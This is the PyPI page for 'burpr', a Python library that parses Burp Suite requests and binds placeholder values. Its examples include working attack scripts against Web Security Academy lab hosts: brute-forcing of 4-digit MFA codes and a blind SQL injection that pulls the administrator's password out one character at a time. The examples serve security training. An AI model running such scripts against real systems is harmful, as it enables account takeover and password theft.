Skip to main content

A Burp Suite request parser, used for aid in assessing application security functionality.

Project description

Burpr

CodeFactor Codacy Badge

What is it

A Burp Suite request parser, used for aid in assessing application security functionality.

Why I wrote it

To use captured requests programatically.

Installation

pip install burpr

Usage

Parse Burp requests from strings or files. Use the .bind() method to replace placeholder values.

import burpr

# Parse from string
burp_request = '''GET /api/users HTTP/2
Host: example.com
Authorization: Bearer %TOKEN%

'''

req = burpr.parse_string(burp_request)
req.bind("%TOKEN%", "actual-token-value")

# Method 1: Using requests library
response = req.make_request()

# Method 2: Using httpx for HTTP/2 support
response = req.make_httpx_request()

# Method 3: Manual with any HTTP client
import httpx
client = httpx.Client(http2=req.is_http2)
response = client.request(
    method=req.method,
    url=req.url,
    headers=req.headers,
    content=req.body
)

Features

Comprehensive Parsing Support

# Parse Burp Suite requests
req = burpr.parse_string(burp_request_string)
req = burpr.parse_file("request.txt")

# Parse curl commands
req = burpr.from_curl('curl -X POST https://api.com/data -d "key=%VALUE%"')

# Parse from Python requests
req = burpr.from_requests("POST", "https://api.com", json={"key": "%VALUE%"})

# Parse HTTP/2 requests
req = burpr.from_http2({
    ":method": "GET",
    ":path": "/users",
    ":authority": "api.example.com",
    ":scheme": "https"
})

Placeholder System

# Use %PLACEHOLDER% format for dynamic values
req.bind("%TOKEN%", "actual-token-value")
req.bind("%USER_ID%", "12345")

# Chain multiple bindings
req.bind("%HOST%", "prod.api.com") \
   .bind("%VERSION%", "v2") \
   .bind("%KEY%", "secret")

Making Requests

# Method 1: Direct execution with requests library
response = req.make_request()

# Method 2: Using httpx for HTTP/2 support
response = req.make_httpx_request()

# Method 3: Get prepared request for custom handling
prepared = req.to_request()  # returns requests.PreparedRequest

Utility Functions

# Clone a request
req2 = burpr.clone(req)

# Set Content-Length
burpr.prepare(req)

# Convert back to Burp format
burp_string = burpr.to_burp_format(req)

Examples

Brute Force Broken MFA

import burpr
import httpx
import itertools

burp_request = r"""POST /login2 HTTP/2
Host: xxxx.web-security-academy.net
Cookie: verify=carlos; session=xxxx
Content-Length: 13
Cache-Control: max-age=0
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
Origin: https://xxxx.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxx.web-security-academy.net/login2
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

mfa-code=%MFA_CODE%
"""

def generate_pin_numbers():
    return [''.join(str(d) for d in combo) for combo in itertools.product(range(10), repeat=4)]

def brute_force_broken_mfa():
    # Parse base request
    base_req = burpr.parse_string(burp_request)
    
    # Create http client
    client = httpx.Client(http2=base_req.is_http2)
    
    for pin in generate_pin_numbers():
        # Clone and bind the PIN
        req = burpr.clone(base_req)
        req.bind("%MFA_CODE%", pin)
        burpr.prepare(req)
        
        # Send request
        res = client.request(
            method=req.method,
            url=req.url,
            headers=req.headers,
            content=req.body
        )
        
        print(res.status_code, pin)
        
        if res.status_code != 200:
            break

brute_force_broken_mfa()

Brute Force Stricter Broken MFA

import burpr
import httpx 
from bs4 import BeautifulSoup
import itertools

def generate_pin_numbers():
    return [''.join(str(d) for d in combo) for combo in itertools.product(range(10), repeat=4)]

def brute_force_stricter_broken_mfa():
    # Templates with placeholders
    login_get_template = '''GET /login HTTP/1.1
Host: xxxx.web-security-academy.net

'''
    
    login_post_template = '''POST /login HTTP/1.1
Host: xxxx.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: %SESSION%

csrf=%CSRF%&username=%USERNAME%&password=%PASSWORD%
'''
    
    mfa_get_template = '''GET /login2 HTTP/1.1
Host: xxxx.web-security-academy.net
Cookie: %SESSION%

'''
    
    mfa_post_template = '''POST /login2 HTTP/1.1
Host: xxxx.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: %SESSION%

csrf=%CSRF%&mfa-code=%MFA_CODE%
'''
    
    victim_login = "carlos"
    victim_pass = "montoya"
    
    client = httpx.Client()
    
    for pin in generate_pin_numbers():
        # Get CSRF token
        req = burpr.parse_string(login_get_template)
        res = client.request(req.method, req.url, headers=req.headers)
        
        soup = BeautifulSoup(res.text, "html.parser")
        csrf = soup.find(attrs={"name": "csrf"})["value"]
        session = res.cookies.get("session")
        
        # Login
        req = burpr.parse_string(login_post_template)
        req.bind("%SESSION%", f"session={session}")
        req.bind("%CSRF%", csrf)
        req.bind("%USERNAME%", victim_login)
        req.bind("%PASSWORD%", victim_pass)
        burpr.prepare(req)
        
        res = client.request(
            method=req.method,
            url=req.url,
            headers=req.headers,
            content=req.body
        )
        
        # Get MFA page
        session = res.cookies.get("session")
        req = burpr.parse_string(mfa_get_template)
        req.bind("%SESSION%", f"session={session}")
        
        res = client.request(req.method, req.url, headers=req.headers)
        soup = BeautifulSoup(res.text, "html.parser")
        csrf = soup.find(attrs={"name": "csrf"})["value"]
        
        # Try MFA code
        req = burpr.parse_string(mfa_post_template)
        req.bind("%SESSION%", f"session={session}")
        req.bind("%CSRF%", csrf)
        req.bind("%MFA_CODE%", pin)
        burpr.prepare(req)
        
        res = client.request(
            method=req.method,
            url=req.url,
            headers=req.headers,
            content=req.body
        )
        
        print(pin)
        
        if res.status_code != 200:
            print(res.status_code, pin, res.headers)
            break

brute_force_stricter_broken_mfa()

Blind SQL Injection with Conditional Responses

import burpr
import httpx
import sys

burp_request = '''GET /filter?category=Gifts HTTP/2
Host: xxxx.web-security-academy.net
Cookie: TrackingId=%TRACKING_ID%; session=aaaabbbbbcccccdddddd
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxx.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

'''

alphabet = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-+="
base_tracking = "aaaabbbbbcccccdddddd"

# Parse base request
base_req = burpr.parse_string(burp_request)
client = httpx.Client(http2=base_req.is_http2)

# Determine password length
length = 0
while length < 255:
    payload = f"' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)={length + 1})='a"
    tracking_id = base_tracking + payload
    
    req = burpr.clone(base_req)
    req.bind("%TRACKING_ID%", tracking_id)
    
    res = client.request(req.method, req.url, headers=req.headers)
    
    length = length + 1
    
    if "Welcome back" in res.text:
        break

print(f"[*] Password length is {length}, retrieving password:")

# Retrieve password
for i in range(length):
    for letter in alphabet:
        payload = f"' AND (SELECT SUBSTRING(password,{i + 1},1) FROM users WHERE username='administrator')='{letter}"
        tracking_id = base_tracking + payload
        
        req = burpr.clone(base_req)
        req.bind("%TRACKING_ID%", tracking_id)
        
        res = client.request(req.method, req.url, headers=req.headers)
        
        if "Welcome back" in res.text:
            sys.stdout.write(letter)
            sys.stdout.flush()
            break

Using curl Commands

import burpr
import httpx

# Parse curl command with placeholders
curl_cmd = '''curl -X POST https://api.example.com/v2/authenticate \
  -H "Content-Type: application/json" \
  -H "X-API-Key: %API_KEY%" \
  -d '{"username": "%USERNAME%", "password": "%PASSWORD%", "grant_type": "password"}'
'''

req = burpr.from_curl(curl_cmd)
req.bind("%API_KEY%", "sk-1234567890")
req.bind("%USERNAME%", "testuser")
req.bind("%PASSWORD%", "testpass123")

client = httpx.Client()
response = client.request(
    method=req.method,
    url=req.url,
    headers=req.headers,
    content=req.body
)

Request Builder Pattern

import burpr

# Create a template with multiple placeholders
api_template = '''%METHOD% %ENDPOINT% HTTP/1.1
Host: %HOST%
Authorization: Bearer %TOKEN%
Content-Type: %CONTENT_TYPE%
X-Request-ID: %REQUEST_ID%

%BODY%
'''

# Build different requests from the same template
def create_api_request(method, endpoint, body="", content_type="application/json"):
    req = burpr.parse_string(api_template)
    req.bind("%METHOD%", method)
    req.bind("%ENDPOINT%", endpoint)
    req.bind("%HOST%", "api.production.com")
    req.bind("%TOKEN%", get_current_token())
    req.bind("%CONTENT_TYPE%", content_type)
    req.bind("%REQUEST_ID%", generate_request_id())
    req.bind("%BODY%", body)
    
    burpr.prepare(req)
    return req

# Use it
req1 = create_api_request("GET", "/api/users")
req2 = create_api_request("POST", "/api/users", '{"name": "John"}')
req3 = create_api_request("DELETE", "/api/users/123")

Testing

Run tests with pytest:

pytest tests/ -v

License

MIT License

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

burpr-0.3.0.tar.gz (15.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

burpr-0.3.0-py3-none-any.whl (18.4 kB view details)

Uploaded Python 3

File details

Details for the file burpr-0.3.0.tar.gz.

File metadata

  • Download URL: burpr-0.3.0.tar.gz
  • Upload date:
  • Size: 15.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.3

File hashes

Hashes for burpr-0.3.0.tar.gz
Algorithm Hash digest
SHA256 bc2d9f1c7b85d87091758c85903138dda0c8f16e30bd182dbb9ee4e2feacd0f8
MD5 d68b7b8655d1212b6fa7543c340bc663
BLAKE2b-256 cc239bd408ec3231520414f51e0090f374bd0a1ad564461b823ab986f6ece28b

See more details on using hashes here.

File details

Details for the file burpr-0.3.0-py3-none-any.whl.

File metadata

  • Download URL: burpr-0.3.0-py3-none-any.whl
  • Upload date:
  • Size: 18.4 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.3

File hashes

Hashes for burpr-0.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 0c265bb66ded633d0acb32b50b514306128f62d2f7276b19cc29d4628a417924
MD5 72b874349217e2326081a0ee4bcaaae9
BLAKE2b-256 7a080de0a93fa1b7542c731aa0b588e906cf9a76549cfcbae885214341b7c88e

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page